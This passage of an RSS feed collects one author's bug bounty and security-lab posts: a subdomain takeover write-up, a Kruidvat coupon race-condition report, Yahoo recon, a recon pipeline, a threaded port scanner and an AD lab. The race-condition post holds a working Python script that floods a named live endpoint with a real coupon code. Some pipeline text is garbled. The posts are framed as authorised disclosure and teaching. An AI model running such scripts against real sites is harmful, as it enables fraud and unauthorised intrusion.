s3://$BUCKET/index.html — acl public-read</blockquote><blockquote># Verify<br>curl <a href="https://$bucket/index.html">https://$BUCKET/index.html</a></blockquote><blockquote># Cleanup (after taking screenshots)<br>aws s3 rm s3://$BUCKET — recursive<br>aws s3api delete-bucket — bucket $BUCKET</blockquote><blockquote># Wait for propagation<br>sleep 5<br>curl <a href="https://$bucket/">https://$BUCKET</a></blockquote><h3>The Impact</h3><p>With control over mta-sts.cewe.kruidvat.nl, an attacker could:</p><ul><li>Host phishing pages on a legitimate Kruidvat domain</li><li>Steal cookies (if cookies are scoped to *.kruidvat.nl)</li><li>Bypass CSP or CORS policies</li></ul><h3>CONCLUSION</h3><p>Subdomain takeover vulnerabilities arise from simple misconfigurations but can have significant security implications. This report highlights the importance of maintaining clean DNS records and regularly auditing external dependencies.</p><p>Disclosure: This vulnerability was discovered during authorized security testing and reported in good faith. No user data was accessed or compromised.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ab4af4f03655" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found a Critical Race Condition on Kruidvat — A Step-by-Step Bug Bounty Walkthrough]]></title>
            <link>https://medium.com/@Lelouchzero/how-i-found-a-critical-race-condition-on-kruidvat-a-step-by-step-bug-bounty-walkthrough-773f20a323f5?source=rss-cb7cc5fe6821------2</link>
            <guid isPermaLink="false">https://medium.com/p/773f20a323f5</guid>
            <category><![CDATA[race-condition]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[critical-vulnerabilities]]></category>
            <dc:creator><![CDATA[Lelouchzero]]></dc:creator>
            <pubDate>Sat, 01 Aug 2026 00:30:47 GMT</pubDate>
            <atom:updated>2026-08-01T00:30:47.681Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In this article, I’ll walk you through how I discovered a critical race condition on the Kruidvat coupon validation endpoint. This vulnerability allowed an attacker to apply the same promotional coupon unlimited times by sending concurrent requests.</p><p>This was my third attempt at finding a payout-worthy bug on Kruidvat, and this time it paid off.</p><h3>Target Overview</h3><p>Field — Details</p><p>Target: foto.kruidvat.nl</p><p>Endpoint: POST /carts/validate-voucher_submit/</p><p>Coupon Code: 28PRINT200</p><p>Vulnerability: TypeRace Condition (CWE-362)</p><p>Severity: Critical</p><h3>Recon Phase</h3><p>Before I started testing, I ran a quick subdomain enumeration and found multiple subdomains under kruidvat.nl:</p><blockquote>subfinder -d kruidvat.nl -silent | httpx -status-code -title | tee kruidvat-subs.txt</blockquote><p>Among the live hosts, I noticed that foto.kruidvat.nl had a coupon validation endpoint that returned 302 redirects — a sign that the endpoint existed but was protected.</p><h3>Discovering the Vulnerability</h3><p>I started by testing the coupon: 26PRINT10, which was advertised on the homepage. I intercepted the request in Burp Suite and sent it to Repeater.</p><p>Original Request:</p><blockquote>POST /carts/validate-voucher_submit/ HTTP/2<br>Host: foto.kruidvat.nl<br>Cookie: [REDACTED]<br>Content-Type: multipart/form-data; boundary= — — WebKitFormBoundary…</blockquote><blockquote>— — — WebKitFormBoundary…<br>Content-Disposition: form-data; name=”VoucherCode”</blockquote><blockquote>26PRINT10</blockquote><blockquote>{<br> “status”: “error”,<br> “errorMessage”: “Kortingscode ‘26PRINT10’ is niet geldig voor de huidige winkelwagen.”<br>}</blockquote><p>I then tried a different coupon: 28PRINT200.</p><p>Modified Request:</p><blockquote>— — — WebKitFormBoundary…<br>Content-Disposition: form-data; name=”VoucherCode”</blockquote><blockquote>28PRINT200</blockquote><p>Response:</p><blockquote>{<br> “status”: “success”<br>}</blockquote><p><strong>The coupon was valid. Now I needed to test if it could be abused.</strong></p><h3>Race Condition Testing</h3><p>I created a Python script to send 50 concurrent requests to the endpoint with the same coupon code.</p><blockquote>import requests<br>import threading</blockquote><blockquote>url = “<a href="https://foto.kruidvat.nl/carts/validate-voucher_submit/">https://foto.kruidvat.nl/carts/validate-voucher_submit/</a>&quot;<br>headers = {<br> “Host”: “foto.kruidvat.nl”,<br> “Content-Type”: “multipart/form-data; boundary= — — WebKitFormBoundary…”,<br> “Cookie”: “[REDACTED]”<br>}<br>data = “”” — — — WebKitFormBoundary…<br>Content-Disposition: form-data; name=”VoucherCode”</blockquote><blockquote>28PRINT200<br> — — — WebKitFormBoundary…”””</blockquote><blockquote>def send_request():<br> r = requests.post(url, headers=headers, data=data)<br> print(f”Status: {r.status_code} | Response: {r.text[:100]}”)</blockquote><blockquote>threads = []<br>for i in range(50):<br> t = threading.Thread(target=send_request)<br> t.start()<br> threads.append(t)</blockquote><blockquote>for t in threads:<br> t.join()</blockquote><h3>Results:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*-gF-7ui5kp19hnUSZr841A.png" /></figure><p>Requests Sent: 50Success</p><p>Responses: 50</p><p>Error: Responses0</p><p>Success: Rate100%</p><p>All 50 requests returned 200 OK with {&quot;status&quot;:&quot;success&quot;}.</p><p>The server accepted every single request without rejecting duplicates. This confirmed a classic race condition — the server failed to synchronize concurrent requests.</p><h3>Impact</h3><p>Unlimited Coupon Abuse: The same coupon can be applied infinite times.</p><p>Financial Loss: Products can be purchased for €0.</p><p>Business Logic Bypass: One-time-use restriction is bypassed.</p><h3>Key Takeaways</h3><p>Always test concurrent requests: Race conditions are often missed</p><p>Try multiple coupon codes: Some codes are valid, others are not</p><p>Prove financial impact: That’s what gets you paid</p><p>Use video PoC: Triage teams love video evidence</p><h3>Conclusion</h3><p>This race condition on Kruidvat is a critical vulnerability that allowed unlimited coupon abuse. By sending 50 concurrent requests, I proved that the server lacks proper synchronization.</p><h3>Contact</h3><p>Reporter: <a href="https://medium.com/@Lelouchzero">Lelouchzero</a><br>HackerOne: lelouchzero<br>Intigriti: lelouchzero</p><p><em>“We don’t just hunt. We dominate.”</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=773f20a323f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Yahoo Bug Bounty Hunt: How I Found 2 Vulnerabilities in 3 Days Using My Custom Pipeline]]></title>
            <link>https://medium.com/@Lelouchzero/yahoo-bug-bounty-hunt-how-i-found-2-vulnerabilities-in-3-days-using-my-custom-pipeline-3b7dd7e74620?source=rss-cb7cc5fe6821------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b7dd7e74620</guid>
            <dc:creator><![CDATA[Lelouchzero]]></dc:creator>
            <pubDate>Sun, 14 Jun 2026 07:26:00 GMT</pubDate>
            <atom:updated>2026-06-14T07:26:00.747Z</atom:updated>
            <content:encoded><![CDATA[<h3>About Me</h3><p>I’m a cybersecurity student who built an automated recon pipeline to hunt for bugs. This is my first deep dive into a major bug bounty program.</p><p><strong>Target:</strong> <em>Yahoo </em>(Intigriti program)<br><strong>Time spent:</strong> 3 days<br><strong>Findings:</strong> 2 valid vulnerabilities (1 Low, 1 Medium)</p><h3>The Pipeline I Built</h3><p>Before hunting, I built an automation pipeline that combines:</p><ul><li><em>Subfinder </em>— Subdomain discovery</li><li><em>Chaos </em>— Historical subdomains</li><li><em>Httpx </em>— Live host detection</li><li><em>Nuclei </em>— Vulnerability scanning</li><li><em>Dalfox </em>— XSS automation</li><li><em>Arjun </em>— Parameter discovery</li></ul><p><strong>The pipeline code:</strong></p><p>subfinder -d TARGET−silent−osubfinder.txtchaos−d<em>TARGET</em>−<em>silent</em>−<em>osubfinder</em>.<em>txtchaos</em>−<em>d</em>TARGET -silent -o chaos.txt<br>cat subfinder.txt chaos.txt | sort -u &gt; all-subs.txt<br>cat all-subs.txt | httpx -silent -status-code -title -o live-hosts.txt<br>nuclei -l live-hosts.txt -severity critical,high,medium -o nuclei-vulns.txt</p><h3>Day 1–2: Reconnaissance</h3><p>Running the pipeline on <a href="https://yahoo.com/">yahoo.com</a> gave me:</p><p>Subfinder found: 121,843 subdomains<br>Chaos found: 46,986 subdomains<br>Total unique: 155,295 subdomains<br>Live hosts: 138<br>Priority APIs: 113</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*DqIe7KiMPKghIDzUe8A24g.png" /></figure><h3>Day 3: Finding Vulnerabilities</h3><h3>Vulnerability #1: HTTP Method Disclosure</h3><p>While testing API endpoints, I discovered that OPTIONS and DELETE methods were accessible without authentication.</p><p><strong>Test command:</strong></p><p>curl -k -X OPTIONS -i <a href="https://api-beta-internal.g11n.yahoo.com/">https://api-beta-internal.g11n.yahoo.com</a></p><p><strong>Response:</strong></p><p><strong>HTTP/2 200 OK</strong><br>Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE, PATCH</p><p><strong>DELETE method test:</strong></p><p>curl -k -X DELETE -s -o /dev/null -w “%{http_code}\n” <a href="https://api-beta-internal.g11n.yahoo.com/">https://api-beta-internal.g11n.yahoo.com</a></p><p><strong>Response: 302 (redirect to login)</strong></p><p>What this means: Unauthenticated attackers can discover which HTTP methods are accepted, aiding reconnaissance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*CquugEEfNJkg7Hn9jXlCcA.png" /></figure><p><strong>Severity: Low</strong><br>Reported to: Intigriti (Yahoo program)</p><h3>Vulnerability #2: Exposed Health Endpoint</h3><p>Testing <a href="https://api.oauth.yahoo.com/">api.oauth.yahoo.com</a> revealed an exposed /health endpoint.</p><p><strong>Test command:</strong></p><p>curl -k <a href="https://api.oauth.yahoo.com/health">https://api.oauth.yahoo.com/health</a></p><p><strong>Response:</strong></p><p>ok</p><p>HTTP Status: 200 OK</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*6rrA9P737AT0zZRHdxV9Uw.png" /></figure><p><strong>Impact: </strong>Attackers can confirm the OAuth service is operational without authentication.</p><p><strong>Severity:</strong> Medium<br><strong>Reported to:</strong> Intigriti (Yahoo program)</p><h3>Evidence Attached to Reports</h3><p>For each report, I included:</p><ol><li>Terminal output showing the curl commands and responses</li><li>Browser screenshots of the vulnerable endpoints</li><li>HTTP response headers showing status codes</li><li>Proof of concept commands anyone can run</li></ol><p><strong>Sample evidence file:</strong></p><p>curl -k -X OPTIONS -i <a href="https://api-beta-internal.g11n.yahoo.com/">https://api-beta-internal.g11n.yahoo.com</a><br>Returns: HTTP/2 200 OK<br>Allow: OPTIONS, GET, HEAD, POST, PUT, DELETE, PATCH</p><h3>What I Learned</h3><ul><li>Automation finds targets. Your pipeline does the heavy lifting.</li><li>Manual testing finds bugs. Tools miss logic issues.</li><li>Always check /health endpoints. Many companies leave them exposed.</li><li>Document everything. Screenshots save your report.</li></ul><h3>Statistics from This Hunt</h3><ul><li>Subdomains discovered: 155,295</li><li>Live hosts tested: 138</li><li>API endpoints analyzed: 113</li><li>Vulnerabilities found: 2</li><li>Reports submitted: 2</li></ul><h3>Tools Used</h3><ul><li>Subfinder — Subdomain discovery</li><li>Chaos — Historical subdomains</li><li>Httpx — Live host detection</li><li>Nuclei — Vulnerability scanning</li><li>Dalfox — XSS automation</li><li>curl — Manual testing</li></ul><h3>Connect With Me</h3><p>GitHub: <a href="https://github.com/Sidharth-Sanwariya/bug-bounty-pipeline">https://github.com/Sidharth-Sanwariya/bug-bounty-pipeline</a></p><p>HackerOne: <a href="https://hackerone.com/sidharthsan?type=user">https://hackerone.com/sidharthsan?type=user</a></p><p>Intigriti: <a href="https://app.intigriti.com/researcher/profile/lelouchzero">https://app.intigriti.com/researcher/profile/lelouchzero</a></p><p>LinkedIn: <a href="http://linkedin.com/in/sidharth-sanwariya-3a33a5379/">linkedin.com/in/sidharth-sanwariya-3a33a5379/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b7dd7e74620" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BUILDING MY BUG BOUNTY PIPELINE FROM SCRATCH]]></title>
            <link>https://medium.com/@Lelouchzero/building-my-bug-bounty-pipeline-from-scratch-b0781567f20f?source=rss-cb7cc5fe6821------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0781567f20f</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[automation-testing]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Lelouchzero]]></dc:creator>
            <pubDate>Sat, 06 Jun 2026 09:43:38 GMT</pubDate>
            <atom:updated>2026-06-06T09:43:38.471Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>Why I Built This</strong></h4><p>Manual reconnaissance takes hours. I needed automation to find more bugs faster. After weeks of learning, I built a complete pipeline that runs in 15 minutes and does what used to take 4–6 hours.</p><h4><strong>TOOLS in My Pipeline</strong></h4><blockquote>Subfinder - Fast subdomain discovery<br>Chaos - Historical subdomains from ProjectDiscovery<br>Httpx - Checks which subdomains are actually live<br>Nuclei - 5000+ vulnerability templates<br>Dalfox - Automated XSS detection with WAF bypass<br>Arjun - Hidden parameter discovery<br>Notify - Discord alerts for every finding</blockquote><h4>How the Pipeline Works</h4><blockquote>Target Domain (hackerone.com)<br>↓<br>Subfinder (62 subdomains) + Chaos (24 subdomains)<br>↓<br>Combine &amp; Deduplicate (31 unique subdomains)<br>↓<br>Httpx – Live Host Detection (10 live hosts)<br>↓<br>Nuclei – Vulnerability Scan<br>↓<br>Dalfox – XSS Scan<br>↓<br>Arjun – Parameter Discovery<br>↓<br>Discord Notifications + Final Report</blockquote><h4>Real Output From Hackerone.com</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*k7SjEM5O8zXQVmtu7fqtQQ.png" /></figure><h4>Result From This Run:</h4><blockquote>- Subfinder found: 62 subdomains<br>- Chaos found: 24 subdomains<br>- Total unique: 31 subdomains<br>- Live hosts: 10 hosts<br>- Nuclei vulnerabilities: 0<br>- XSS findings: 0</blockquote><h4>Live Hosts Discovered:</h4><blockquote>https://www.hackerone.com [200]<br>https://api.hackerone.com [200]<br>https://support.hackerone.com [302]<br>https://docs.hackerone.com [302]<br>http://a.ns.hackerone.com [301]<br>http://b.ns.hackerone.com [301]</blockquote><h4>The Pipeline Code</h4><p>GitHub Repository: <a href="https://github.com/Sidharth-Sanwariya/bug-bounty-pipeline">https://github.com/Sidharth-Sanwariya/bug-bounty-pipeline</a></p><pre>#!/bin/bash<br># Bug Bounty Pipeline - Level 120<br># Usage: ./pipeline.sh target.com<br><br>TARGET=$1<br>export PDCP_API_KEY=&quot;YOUR_API_KEY_HERE&quot;<br><br>subfinder -d $TARGET -silent -o subfinder.txt<br>chaos -d $TARGET -silent -o chaos.txt<br>cat subfinder.txt chaos.txt | sort -u &gt; all-subs.txt<br>cat all-subs.txt | httpx -silent -status-code -title -o live-hosts.txt<br>nuclei -l live-hosts.txt -severity critical,high,medium -silent -o nuclei-vulns.txt<br><br>echo &quot;Pipeline complete. Check live-hosts.txt and nuclei-vulns.txt&quot;</pre><h4>What I learned</h4><ol><li>Automation enables manual testing — it finds targets so I can focus on finding the bugs</li><li>Multiple sources = more subdomains — Chaos found 24 subdomains that subfinder missed.</li><li>Discord notifications are essential — results come to my phone automatically.</li><li>Zero findings is still a win — means the target is secure</li></ol><h4>Next Steps</h4><blockquote>Add GraphQL introspection<br>Implement race condition testing<br>Build custom Nuclei templates<br>Add FFUF for directory fuzzing</blockquote><h4>Connect With Me</h4><p>GitHub: <a href="https://github.com/Sidharth-Sanwariya">https://github.com/Sidharth-Sanwariya</a></p><p>HackerOne: <a href="https://hackerone.com/sidharthsan">https://hackerone.com/sidharthsan</a></p><p>#BugBounty #Cybersecurity #EthicalHacker #Automation</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0781567f20f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Cloud to Detection: How I Built a Complete Cybersecurity Portfolio (10 Projects in 10 Levels)]]></title>
            <link>https://medium.com/@Lelouchzero/from-cloud-to-detection-how-i-built-a-complete-cybersecurity-portfolio-10-projects-in-10-levels-ff34721998e4?source=rss-cb7cc5fe6821------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff34721998e4</guid>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[aws-cloud-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Lelouchzero]]></dc:creator>
            <pubDate>Tue, 05 May 2026 10:11:58 GMT</pubDate>
            <atom:updated>2026-05-05T10:11:58.973Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>From Cloud to Detection: How I Built a Complete Cybersecurity Portfolio</strong></p><p>By -<strong> Sidharth Sanwariya</strong> | May 2026</p><p><strong>Why I Built This Portfolio</strong></p><p>After months of learning, I decided to document my entire cybersecurity journey. This article covers 10 projects across 10 skill levels — from AWS cloud security to incident investigation.</p><p>All projects were done in my own home lab using free tools. Every screenshot, script, and report is available on my GitHub.</p><p><strong>Level 41–45: AWS Cloud Security</strong></p><p>What I Learned<br>- IAM (users, groups, policies, MFA)<br>- S3 buckets (public vs private, Block Public Access)<br>- CloudTrail (audit logging)<br>- GuardDuty (threat detection)<br>- VPC Flow Logs (network traffic monitoring)</p><p><strong>Key Project</strong><br>Created an S3 bucket, made it public (simulated misconfiguration), then fixed it using Block Public Access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fy70IjyktU4LM0-PWGOPtQ.png" /></figure><p><strong>GitHub</strong><br>[Cloud Security Lab] (<a href="https://github.com/Sidharth-Sanwariya?tab=repositories">https://github.com/Sidharth-Sanwariya?tab=repositorie</a>s)</p><p><strong>Level 46–47: Sigma Rules &amp; Detection Engineering</strong></p><p>What I Learned<br>- Sigma rule structure (title, id, logsource, detection, condition)<br>- Converting Sigma to Splunk and Elastic using uncoder.io<br>- MITRE ATT&amp;CK mapping</p><p>Key Project<br>Wrote Sigma rules for:<br>- Multiple failed logons (4625)<br>- Admin login detection (4672)<br>- Service stopped (7036)<br>- Failed sudo attempts (Linux)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HHjlt1W1rASyN_zyI4BIqw.png" /></figure><p><strong>GitHub</strong><br>[Sigma Detection Rules](<a href="https://github.com/Sidharth-Sanwariya/Sigma-Rules">https://github.com/Sidharth-Sanwariya/Sigma-Rules</a>)</p><p>— -</p><p><strong>Level 48: SIEM with Splunk</strong></p><p>What I Learned<br>- Splunk Enterprise installation<br>- Universal Forwarder configuration<br>- SPL (Search Processing Language) queries<br>- Windows Event Log forwarding</p><p><strong>Key Project</strong><br>Forwarded Windows Security logs to Splunk and searched for Event ID 4625 using:</p><p>`spl index=main EventCode=4625`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8tpfxpB_aOCfNl8hgM9Rhw.png" /></figure><p><strong>Level 49: YARA Malware Detection</strong></p><p>What I Learned<br>- YARA rule structure (meta, strings, condition)<br>- Writing custom rules for suspicious patterns<br>- Testing with EICAR test file<br>- VirusTotal integration</p><p><strong>Key Project</strong><br>Created YARA rules to detect:<br>- PowerShell download patterns<br>- Suspicious executable strings<br>- Cryptocurrency wallet stealers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*Xzr7vUooT0_BP-zi4DSd5w.png" /></figure><p><strong>GitHub</strong><br>[YARA Detection Rules](<a href="https://github.com/Sidharth-Sanwariya/YARA-detection-rule">https://github.com/Sidharth-Sanwariya/YARA-detection-rule</a>)</p><p><strong>Level 50: Incident Investigation</strong></p><p>What I Learned<br>- Windows Event Log analysis<br>- Failed login detection (Event ID 4625)<br>- Attacker IP and username identification<br>- Professional incident report writing</p><p><strong>Key Project</strong><br>Simulated a brute force attack using PowerShell, generated 51 failed login events, and wrote a complete incident report.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*EY3kWNk8sSNRilDEpWKhNA.png" /></figure><p><strong>GitHub</strong><br>[Incident Investigation Lab](<a href="https://github.com/Sidharth-Sanwariya/incident-investigation-lab">https://github.com/Sidharth-Sanwariya/incident-investigation-lab</a>)</p><p><strong>Tools Used Across All Projects</strong></p><p>| Category | Tools |<br>| — — — — — | — — — -|<br>| Cloud | AWS (IAM, S3, CloudTrail, GuardDuty, VPC) |<br>| Detection | Sigma, YARA, uncoder.io |<br>| SIEM | Splunk Enterprise, Universal Forwarder |<br>| Analysis | Event Viewer, PowerShell, Wireshark |<br>| Documentation | GitHub, Medium, Markdown |</p><p><strong>Key Takeaways</strong></p><p>1. **Start with a lab** — You can’t learn security without hands-on practice<br>2. **Document everything** — Screenshots, scripts, and reports help you learn and prove your skills<br>3. **Think like an attacker** — Simulate real attacks to understand detection<br>4. **Learn detection, not just exploitation** — Companies need defenders more than attackers<br>5. **Build in public** — GitHub and Medium articles get you noticed by recruiters</p><p><strong>What’s Next?</strong></p><p>I’m continuing my journey into:<br>- Bug Bounty Hunting<br>- Azure Cloud Security<br>- Advanced Malware Analysis</p><p>Follow me on [LinkedIn](<a href="http://www.linkedin.com/in/sidharth-sanwariya-3a33a5379">www.linkedin.com/in/sidharth-sanwariya-3a33a5379</a>) and [GitHub](<a href="https://github.com/Sidharth-Sanwariya">https://github.com/Sidharth-Sanwariya</a>) for more.</p><p><strong>Resources</strong></p><p>- [Sigma Rules Repository](<a href="https://github.com/Sidharth-Sanwariya/Sigma-Rules">https://github.com/Sidharth-Sanwariya/Sigma-Rules</a>)<br>- [YARA Rules Repository](<a href="https://github.com/Sidharth-Sanwariya/YARA-detection-rule">https://github.com/Sidharth-Sanwariya/YARA-detection-rule</a>)<br>- [Incident Investigation Lab](<a href="https://github.com/Sidharth-Sanwariya/incident-investigation-lab">https://github.com/Sidharth-Sanwariya/incident-investigation-lab</a>)</p><p><strong><em>Thanks for reading! Feel free to connect or ask questions.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff34721998e4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Built a Port Scanner That’s 50x Faster Using Python Threading]]></title>
            <link>https://medium.com/@Lelouchzero/how-i-built-a-port-scanner-thats-50x-faster-using-python-threading-146ec8954260?source=rss-cb7cc5fe6821------2</link>
            <guid isPermaLink="false">https://medium.com/p/146ec8954260</guid>
            <dc:creator><![CDATA[Lelouchzero]]></dc:creator>
            <pubDate>Wed, 08 Apr 2026 19:37:41 GMT</pubDate>
            <atom:updated>2026-04-08T19:39:50.521Z</atom:updated>
            <content:encoded><![CDATA[<p>How I Built a Port Scanner That’s 50x Faster Using Python Threading</p><p>The Problem</p><p>Port scanning is essential for security testing. But scanning 1000 ports one by one takes time.</p><p>Single-thread scanning:<br>- Scans 1 port at a time<br>- 100 ports = 100 seconds<br>- Too slow for real-world use</p><p>The Solution: Threading</p><p>Threading allows multiple operations to run simultaneously. Instead of scanning one port, you scan 10, 50, or 100 ports at once.</p><p>Multi-thread scanning:<br>- Scans 50 ports simultaneously<br>- 100 ports = 2 seconds<br>- 50x faster</p><p>Single-Thread Version (Slow)</p><p>```python<br>import socket<br>import time</p><p>def scan_port(host, port):<br> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br> sock.settimeout(1)<br> result = sock.connect_ex((host, port))<br> sock.close()<br> return result == 0</p><p>target = “scanme.nmap.org”<br>start = time.time()</p><p>for port in range(1, 101):<br> if scan_port(target, port):<br> print(f”Port {port}: OPEN”)</p><p>print(f”Completed in {time.time() — start:.2f} seconds”)</p><p>Time: ~100 seconds</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*FM5-M3ggzCpYP_P6WUX-Jg.png" /></figure><h3>Multi-Thread Version (Fast)</h3><p>import socket<br>import threading<br>import time<br>from queue import Queue</p><p>def scan_port(host, port):<br> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br> sock.settimeout(1)<br> result = sock.connect_ex((host, port))<br> sock.close()<br> return result == 0</p><p>def worker(host, queue, results):<br> while not queue.empty():<br> try:<br> port = queue.get_nowait()<br> if scan_port(host, port):<br> results.append(port)<br> except:<br> break<br> finally:<br> queue.task_done()</p><p>def scan_ports(host, start_port, end_port, num_threads=50):<br> queue = Queue()<br> results = []<br> <br> for port in range(start_port, end_port + 1):<br> queue.put(port)<br> <br> threads = []<br> for _ in range(num_threads):<br> t = threading.Thread(target=worker, args=(host, queue, results))<br> t.start()<br> threads.append(t)<br> <br> queue.join()<br> for t in threads:<br> t.join()<br> <br> return results</p><p>target = “scanme.nmap.org”<br>start = time.time()<br>open_ports = scan_ports(target, 1, 100)<br>print(f”Open ports: {open_ports}”)<br>print(f”Completed in {time.time() — start:.2f} seconds”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*el_CiWHEbwO0H7OVHvZluw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*qrzzCjk3TaPgSspWWkOwNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*ryfPufWwh4xi46vvjfrDDQ.png" /></figure><p>Scanning scanme.nmap.org…<br>Ports: 1–100<br>Threads: 100</p><p>[+] Port 22: OPEN<br>[+] Port 80: OPEN</p><p>[+] Open ports: [22, 80]<br>[+] Completed in 2.07 seconds</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=146ec8954260" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Built an Active Directory Lab from Scratch (For Security Testing)]]></title>
            <link>https://medium.com/@Lelouchzero/how-i-built-an-active-directory-lab-from-scratch-for-security-testing-c1c0ef1a07d4?source=rss-cb7cc5fe6821------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1c0ef1a07d4</guid>
            <dc:creator><![CDATA[Lelouchzero]]></dc:creator>
            <pubDate>Wed, 08 Apr 2026 09:13:12 GMT</pubDate>
            <atom:updated>2026-04-08T09:13:12.613Z</atom:updated>
            <content:encoded><![CDATA[<p>Why Build an Active Directory Lab?</p><p>Active Directory (AD) is used by 90% of Fortune 500 companies. If you want to understand enterprise security, you need to understand AD attacks.</p><p>In this article, I’ll show you how I built a complete AD lab on my laptop using free tools.</p><p>Lab Overview</p><p>I built this lab using VirtualBox on a Windows laptop with 16GB RAM.</p><p>| VM | Role | IP | RAM |<br>| — — | — — — | — — -| — — -|<br>| Windows Server 2022 | Domain Controller | 192.168.10.10 | 4GB |<br>| Windows 10 | Client Machine | 192.168.10.20 | 2GB |<br>| Kali Linux | Attacker Machine | 192.168.10.100 | 2GB |</p><p>All VMs on the same internal network (192.168.10.0/24).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJqQbm-C-nh2Pkkw5mG-hg.png" /></figure><p>Step 1: Install Windows Server 2022</p><p>Download: Windows Server 2022 Evaluation (180-day free trial)</p><p>VM Settings:<br>- RAM: 4096 MB<br>- Storage: 40 GB<br>- Network: Internal Network (intnet)</p><p>Installation steps:<br>1. Boot from ISO<br>2. Choose “Windows Server 2022 Standard Evaluation (Desktop Experience)”<br>3. Set Administrator password</p><p>Step 2: Configure Domain Controller</p><p>After installation, open PowerShell as Administrator:</p><p>Set static IP:<br>```powershell<br>netsh interface ip set address “Ethernet” static 192.168.10.10 255.255.255.0 192.168.10.1</p><p>┌─────────────────────────────────────────────────────────────┐<br>│ INTERNAL NETWORK │<br>│ 192.168.10.0/24 │<br>│ │<br>│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │<br>│ │ Windows │ │ Windows │ │ Kali │ │<br>│ │ Server 2022 │ │ 10 Client │ │ Linux │ │<br>│ │ DC │ │ │ │ Attacker │ │<br>│ │ 192.168.10.10│ │ 192.168.10.20│ │192.168.10.100│ │<br>│ └──────┬───────┘ └──────────────┘ └──────────────┘ │<br>│ │ │<br>│ └──────────────────┐ │<br>│ ▼ │<br>│ lab.local Domain │<br>└──────────────────────────────────────────────────────</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*iSfGde_v0i-ximHGqRd7Bg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1c0ef1a07d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Automated Blind SQL Injection to Extract Password Hashes (Python Scripting)]]></title>
            <link>https://medium.com/@Lelouchzero/how-i-automated-blind-sql-injection-to-extract-password-hashes-python-scripting-d560906f5dc3?source=rss-cb7cc5fe6821------2</link>
            <guid isPermaLink="false">https://medium.com/p/d560906f5dc3</guid>
            <dc:creator><![CDATA[Lelouchzero]]></dc:creator>
            <pubDate>Mon, 06 Apr 2026 23:42:44 GMT</pubDate>
            <atom:updated>2026-04-06T23:42:44.214Z</atom:updated>
